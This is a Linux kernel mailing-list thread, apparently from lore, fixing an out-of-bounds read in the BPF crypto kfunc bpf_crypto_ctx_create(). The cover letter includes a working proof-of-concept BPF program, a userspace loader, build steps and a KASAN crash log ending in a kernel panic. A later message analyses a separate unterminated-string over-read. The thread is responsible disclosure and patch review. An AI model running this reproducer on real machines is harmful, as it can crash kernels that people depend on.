Skip to contentSkip to conversation

bpf: crypto: check params size before reading reserved fields

PATCH Applied Yuqi Xu 3 participants 5 messages Sep 19 – Sep 20

Subsystems (3)
lore
Share & tools
lore

Yuqi Xu

author
#0 lore raw

cover bpf: crypto: check params size before reading reserved fields

Hi Linux kernel maintainers,

We found and validated an issue in kernel/bpf/crypto.c. The reproducer below runs as root because loading a BPF_PROG_TYPE_SYSCALL program is gated by bpf_capable(), so a user namespace is not sufficient.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

bpf_crypto_ctx_create() takes params with the kfunc __sz annotation, so the verifier only guarantees that params__sz bytes of the buffer are valid. The function first reads params->reserved[0] and params->reserved[1] (offsets 14 and 15) and only then compares params__sz with sizeof(struct bpf_crypto_params). A BPF program can therefore pass a shorter buffer and make the kernel read past the validated region.

The PoC uses a BPF_PROG_TYPE_SYSCALL program with a 1-byte hash map value and passes params__sz = 1. The map is created with BPF_F_NO_PREALLOC so that each element is a separate kmalloc object and KASAN can see the overrun; with the default preallocated hash map the elements share one large allocation and the same read lands in adjacent memory without a report.

The patch moves the size comparison in front of the reserved field reads, so the out-of-bounds read cannot happen anymore. Valid parameters behave exactly as before: with the patch applied, a program that passes a full-size valid struct still creates a crypto context.

Reproducer:

The kernel must be built with CONFIG_BPF_SYSCALL, CONFIG_BPF_JIT, CONFIG_DEBUG_INFO_BTF, CONFIG_CRYPTO_SKCIPHER2 and CONFIG_KASAN, and booted with panic_on_warn=1.

clang -target bpf -O2 -g -D__TARGET_ARCH_x86 -c poc.bpf.c -o poc.bpf.o

  # build libbpf from tools/lib/bpf, then link the userspace part:
  gcc -O2 -o poc poc.c -lbpf -lelf -lz -lzstd
  ./poc

We run the PoC in a 4 vCPU, 6 GB RAM x86 QEMU/KVM environment as root (CAP_BPF in the initial user namespace).

------BEGIN poc.bpf.c------

#include <linux/types.h>
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

struct bpf_crypto_ctx {};

struct bpf_crypto_params {
	char type[14];
	__u8 reserved[2];
	char algo[128];
	__u8 key[256];
	__u32 key_len;
	__u32 authsize;
};
struct {
	__uint(type, BPF_MAP_TYPE_HASH);
	__uint(max_entries, 1);
	__uint(map_flags, BPF_F_NO_PREALLOC);
	__type(key, __u32);
	__type(value, __u8);
} tiny_map SEC(".maps");

struct bpf_crypto_ctx *bpf_crypto_ctx_create(const struct bpf_crypto_params *params,

					     __u32 params__sz, int *err) __ksym;

void bpf_crypto_ctx_release(struct bpf_crypto_ctx *ctx) __ksym;

SEC("syscall")
int trigger(void *ctx)

{
	__u32 key = 0;
	__u8 *params;
	int err = 0;
	struct bpf_crypto_ctx *cctx;

	params = bpf_map_lookup_elem(&tiny_map, &key);
	if (!params)
		return 1;

	cctx = bpf_crypto_ctx_create((const struct bpf_crypto_params *)params, 1, &err);
	if (cctx)
		bpf_crypto_ctx_release(cctx);
	return err;
}

char _license[] SEC("license") = "GPL";

------END poc.bpf.c--------

------BEGIN poc.c------

#include <errno.h>
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/resource.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>

static int libbpf_print_fn(enum libbpf_print_level level, const char *fmt, va_list args)

{
	if (level == LIBBPF_DEBUG)
		return 0;
	return vfprintf(stderr, fmt, args);
}

int main(void)

{
	char log_buf[1 << 20] = {};
	struct bpf_object_open_opts open_opts = {
		.sz = sizeof(open_opts),
		.kernel_log_buf = log_buf,
		.kernel_log_size = sizeof(log_buf),
		.kernel_log_level = 1,
	};
	struct rlimit rlim = {
		.rlim_cur = RLIM_INFINITY,
		.rlim_max = RLIM_INFINITY,
	};
	struct bpf_object *obj = NULL;
	struct bpf_map *map;
	struct bpf_program *prog;
	struct bpf_test_run_opts opts;
	__u32 key = 0;
	__u8 value = 0;
	int prog_fd;
	int map_fd;
	int err;

	libbpf_set_print(libbpf_print_fn);
	setrlimit(RLIMIT_MEMLOCK, &rlim);

	obj = bpf_object__open_file("./poc.bpf.o", &open_opts);
	if (!obj) {
		fprintf(stderr, "open failed\n");
		return 1;
	}

	bpf_object__for_each_program(prog, obj)
		bpf_program__set_log_level(prog, 2);

	err = bpf_object__load(obj);
	if (err) {
		fprintf(stderr, "load failed: %d (%s)\n", err, strerror(-err));
		if (log_buf[0])
			fprintf(stderr, "%s\n", log_buf);
		goto out;
	}

	map = bpf_object__find_map_by_name(obj, "tiny_map");
	if (!map) {
		err = -ENOENT;
		fprintf(stderr, "map not found\n");
		goto out;
	}

	map_fd = bpf_map__fd(map);
	err = bpf_map_update_elem(map_fd, &key, &value, BPF_ANY);
	if (err) {
		err = -errno;
		fprintf(stderr, "map update failed: %d (%s)\n", err, strerror(errno));
		goto out;
	}

	prog = bpf_object__find_program_by_name(obj, "trigger");
	if (!prog) {
		err = -ENOENT;
		fprintf(stderr, "program not found\n");
		goto out;
	}

	prog_fd = bpf_program__fd(prog);
	memset(&opts, 0, sizeof(opts));
	opts.sz = sizeof(opts);
	err = bpf_prog_test_run_opts(prog_fd, &opts);
	if (err) {
		err = -errno;
		fprintf(stderr, "test run failed: %d (%s)\n", err, strerror(errno));
		goto out;
	}

	fprintf(stderr, "test run ok, retval=%u\n", opts.retval);
	err = 0;
out:
	bpf_object__close(obj);
	return err ? 1 : 0;
}

------END poc.c--------

-----BEGIN crash log----

[    1.544932] ==================================================================
[    1.544942] BUG: KASAN: slab-out-of-bounds in bpf_crypto_ctx_create+0x811/0xaf0
[    1.544950] Read of size 1 at addr ffff888102fbee4e by task poc.static/92
[    1.544954] 
[    1.544958] CPU: 1 UID: 0 PID: 92 Comm: poc.static Not tainted 7.3.0-rc2-00040-gb4e875d397da #1 PREEMPT(lazy) 
[    1.544962] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-10.fc44 06/10/2025
[    1.544965] Call Trace:
[    1.544968]  <TASK>
[    1.544970]  dump_stack_lvl+0x4d/0x70
[    1.544977]  print_report+0x14b/0x4b0
[    1.544983]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[    1.544990]  kasan_report+0xfa/0x120
[    1.544995]  ? bpf_crypto_ctx_create+0x811/0xaf0
[    1.544999]  ? bpf_crypto_ctx_create+0x811/0xaf0
[    1.545003]  bpf_crypto_ctx_create+0x811/0xaf0
[    1.545007]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545011]  bpf_prog_1a0a06253873ed44_trigger+0x60/0x78
[    1.545015]  bpf_prog_test_run_syscall+0x42e/0x9f0
[    1.545023]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545026]  ? __pfx_bpf_prog_test_run_syscall+0x10/0x10
[    1.545028]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545031]  ? __pfx_bpf_check_uarg_tail_zero+0x10/0x10
[    1.545036]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545040]  __sys_bpf+0x12c3/0x5280
[    1.545044]  ? __pfx___sys_bpf+0x10/0x10
[    1.545047]  ? stack_depot_save_flags+0x2d/0x970
[    1.545054]  ? stack_depot_save_flags+0x2d/0x970
[    1.545057]  ? task_work_run+0x12c/0x230
[    1.545062]  ? exit_to_user_mode_loop+0x135/0x520
[    1.545067]  ? do_syscall_64+0x34e/0x4b0
[    1.545073]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545076]  ? do_syscall_64+0x34e/0x4b0
[    1.545079]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    1.545082]  ? __pfx_do_vmi_align_munmap+0x10/0x10
[    1.545097]  __x64_sys_bpf+0xc4/0x180
[    1.545101]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545103]  ? fpregs_assert_state_consistent+0x56/0xe0
[    1.545108]  do_syscall_64+0xde/0x4b0
[    1.545111]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545115]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    1.545118] RIP: 0033:0x53ff3d
[    1.545121] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48
[    1.545124] RSP: 002b:00007ffd3b599d38 EFLAGS: 00000246 ORIG_RAX: 0000000000000141
[    1.545129] RAX: ffffffffffffffda RBX: 00007ffd3b599e20 RCX: 000000000053ff3d
[    1.545131] RDX: 0000000000000050 RSI: 00007ffd3b599d40 RDI: 000000000000000a
[    1.545133] RBP: 000000003a91e940 R08: 0000000000000004 R09: 0000000000000005
[    1.545135] R10: 00007ffd3b599e20 R11: 0000000000000246 R12: 00007ffd3b599ed0
[    1.545137] R13: 00007ffd3b69a018 R14: 00000000005f6068 R15: 0000000000000001
[    1.545141]  </TASK>
[    1.545143] 
[    1.545144] Allocated by task 92:
[    1.545146]  kasan_save_stack+0x2f/0x50
[    1.545150]  kasan_save_track+0x14/0x30
[    1.545152]  __kasan_kmalloc+0x7f/0x90
[    1.545155]  __kmalloc_node_noprof+0x1de/0x4b0
[    1.545159]  alloc_bulk+0x242/0x3b0
[    1.545163]  bpf_mem_alloc_init+0x2a9/0x7e0
[    1.545165]  htab_map_alloc+0xcb8/0x1290
[    1.545169]  map_create+0x50d/0x1b30
[    1.545172]  __sys_bpf+0x1e3f/0x5280
[    1.545174]  __x64_sys_bpf+0xc4/0x180
[    1.545177]  do_syscall_64+0xde/0x4b0
[    1.545179]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    1.545182] 
[    1.545183] The buggy address belongs to the object at ffff888102fbee00
[    1.545183]  which belongs to the cache kmalloc-96 of size 96
[    1.545185] The buggy address is located 6 bytes to the right of
[    1.545185]  allocated 72-byte region [ffff888102fbee00, ffff888102fbee48)
[    1.545188] 
[    1.545189] The buggy address belongs to the physical page:
[    1.545191] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x102fbe
[    1.545194] flags: 0x200000000000000(node=0|zone=2)
[    1.545198] page_type: f5(slab)
[    1.545202] raw: 0200000000000000 ffff888100042280 dead000000000100 dead000000000122
[    1.545205] raw: 0000000000000000 0000000000200020 00000000f5000000 0000000000000000
[    1.545206] page dumped because: kasan: bad access detected
[    1.545209] 
[    1.545210] Memory state around the buggy address:
[    1.545212]  ffff888102fbed00: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545214]  ffff888102fbed80: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545215] >ffff888102fbee00: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545217]                                               ^
[    1.545218]  ffff888102fbee80: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545220]  ffff888102fbef00: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545222] ==================================================================
[    1.545240] Kernel panic - not syncing: KASAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (1):
bpf: crypto: check params size before reading reserved fields

 kernel/bpf/crypto.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

base-commit: e3b6cb020e2f034a98068b2d11bcb3db9fff7e42

Signature · 1 line
2.55.0
author
#1 lore raw

PATCH 1/1 bpf: crypto: check params size before reading reserved fields

bpf_crypto_ctx_create() is a kfunc whose second argument is declared with the __sz annotation, so the verifier only guarantees that params__sz bytes of params are valid. The function nevertheless reads params->reserved[0] and params->reserved[1] (offsets 14 and 15) before comparing params__sz against the size of struct bpf_crypto_params, so a BPF program can pass a shorter buffer and have the kernel read past the region that was validated for it.

Move the size check in front of the reserved field reads.

Fixes 3e1c6f35409f ("bpf: make common crypto API for TC/XDP programs")
Assisted-by LLM
---
 kernel/bpf/crypto.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)
kernel/bpf/crypto.c +3 -2
index 51f89cecefb4..3f3fe2450fc6 100644
@@ -149,8 +149,9 @@ bpf_crypto_ctx_create(const struct bpf_crypto_params *params, u32 params__sz,
 	const struct bpf_crypto_type *type;
 	struct bpf_crypto_ctx *ctx;
 
-	if (!params || params->reserved[0] || params->reserved[1] ||
-	    params__sz != sizeof(struct bpf_crypto_params)) {
+	if (!params ||
+	    params__sz != sizeof(struct bpf_crypto_params) ||
+	    params->reserved[0] || params->reserved[1]) {
 		*err = -EINVAL;
 		return NULL;
 	}
Signature · 1 line
2.55.0
#2 lore raw
Quoted 2 lines · Yuqi Xu
Fixes 3e1c6f35409f ("bpf: make common crypto API for TC/XDP programs")

bpf_crypto_ctx_create() is only available to syscall progs, so it's CAP_BPF, and with a short params__sz both outcomes are -EINVAL. The two bytes don't go anywhere. Fixes tag is enough.
No need to cc stable.

author
#3 lore raw
In reply to Yuqi Xu

Hi all,

This note is about a Sashiko finding on the already-applied patch (a11212910cf0); that review was not posted to the list. The note below is analysis only; I am not asking to change the merged patch.

Quoted 7 lines

The algo string in struct bpf_crypto_params is not checked for null-termination before being passed to the crypto API. A BPF program can fill this array and subsequent fields with non-null bytes, causing vsnprintf in request_module to read out-of-bounds, potentially resulting in a kernel panic or leaking kernel memory to user-space.
locations: kernel/bpf/crypto.c:165 bpf_crypto_ctx_create; kernel/bpf/crypto.c:185

This is a valid finding. It is also pre-existing and independent of the params__sz out-of-bounds read that this patch fixes.

The kfunc's __sz annotation only bounds-checks the buffer: the verifier calls check_mem_size_reg() on the params / params__sz pair and checks that params__sz bytes of the pointer are readable. It neither zeroes nor NUL-terminates the buffer. After the size check in bpf_crypto_ctx_create(), params__sz == sizeof(struct bpf_crypto_params) == 408, so algo[] (offset 16, 128 bytes, kernel/bpf/crypto.c:33) lies inside the validated region, but nothing guarantees a NUL anywhere in it. A program can pass reserved[0] = reserved[1] = 0 (which the function requires) and fill algo[] and the trailing fields with non-NUL bytes.

type->has_algo(params->algo) (kernel/bpf/crypto.c:165) then reaches an unbounded read:

bpf_crypto_lskcipher_has_algo()

    crypto_has_skcipher()          crypto/skcipher.c:666
      crypto_type_has_alg()        crypto/algapi.c:1039
        crypto_find_alg()          crypto/api.c:535
          crypto_alg_mod_lookup()  crypto/api.c:338
            crypto_larval_lookup()  crypto/api.c:290
              request_module("crypto-%s", name)   crypto/api.c:303
                vsnprintf(module_name, MODULE_NAME_LEN, fmt, args)
                                                  kernel/module/kmod.c:150

The "%s" conversion has no precision, so vsnprintf() does a plain strlen() on name; it keeps reading through key[], key_len and authsize and past the 408-byte region that the verifier validated, until it finds a zero byte. KASAN reports a slab-out-of-bounds read if the object ends before the next zero. That is the extent of the bug: the OOB is only that strlen()/string_nocheck walk past the 408-byte region. An unterminated algo makes vsnprintf()'s "%s" read unbounded, but when the return value is >= MODULE_NAME_LEN, kmod.c returns -ENAMETOOLONG and does not reach call_modprobe() or the usermode helper.

The finding also cites kernel/bpf/crypto.c:185. That line is a blank line, not a second use of algo; if (!ctx) after kzalloc is at 181. The nearby second use of params->algo is type->alloc_tfm() at 187; 185 is a near miss for that line. A 128-byte all-non-NUL algo cannot match any already-loaded cra_name, so has_algo() returns false, bpf_crypto_ctx_create() sets -EOPNOTSUPP, and type->alloc_tfm() is not reached.

This is only reachable from BPF_PROG_TYPE_SYSCALL (the crypt_init_kfunc_set registration at kernel/bpf/crypto.c:393), which requires CAP_BPF, so it is not an unprivileged attack. Still, the verifier-validated buffer is the trust boundary, and reading past it is a bug regardless.

Relationship to this patch: the patch only moves the params__sz comparison ahead of the reserved[] reads. The algo[] termination problem exists identically before and after it, so it is a separate root cause and is neither fixed nor worsened here.

A follow-up would validate that the strings are terminated before handing them to the crypto API, for example:

  if (strnlen(params->algo, sizeof(params->algo)) == sizeof(params->algo) ||
      strnlen(params->type, sizeof(params->type)) == sizeof(params->type)) {
          *err = -EINVAL;
          return NULL;
  }

(memchr(params->algo, '\0', sizeof(params->algo)) is equivalent.) params is const, so writing params->algo[sizeof(params->algo) - 1] = '\0' would modify the caller's buffer; explicitly rejecting an unterminated name is cleaner than silently truncating it. params->type[] is only compared with strcmp() against the short, NUL-terminated registered type names, so it cannot drive the unbounded read, but validating both keeps them consistent.

That would be a separate patch (Fixes: 3e1c6f35409f), not a change to the already-merged commit. Happy to send it if you want it.

Thanks,
Yuqi Xu

#4 lore raw
In reply to Yuqi Xu
This patch was applied to bpf/bpf.git (master) by Alexei Starovoitov <[email protected]>:

Hello:

This patch was applied to bpf/bpf.git (master)
by Alexei Starovoitov <[email protected]>:

Quoted 9 lines · On Sat, 19 Sep 2026 16:45:01 +0800 you wrote:

Hi Linux kernel maintainers,

We found and validated an issue in kernel/bpf/crypto.c. The reproducer below runs as root because loading a BPF_PROG_TYPE_SYSCALL program is gated by bpf_capable(), so a user namespace is not sufficient.

We've tested it, and it should not affect any other functionality.

[...]

Here is the summary with links:
- [bpf,1/1] bpf: crypto: check params size before reading reserved fields

    https://git.kernel.org/bpf/bpf/c/a11212910cf0

You are awesome, thank you!

Signature · 2 lines
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html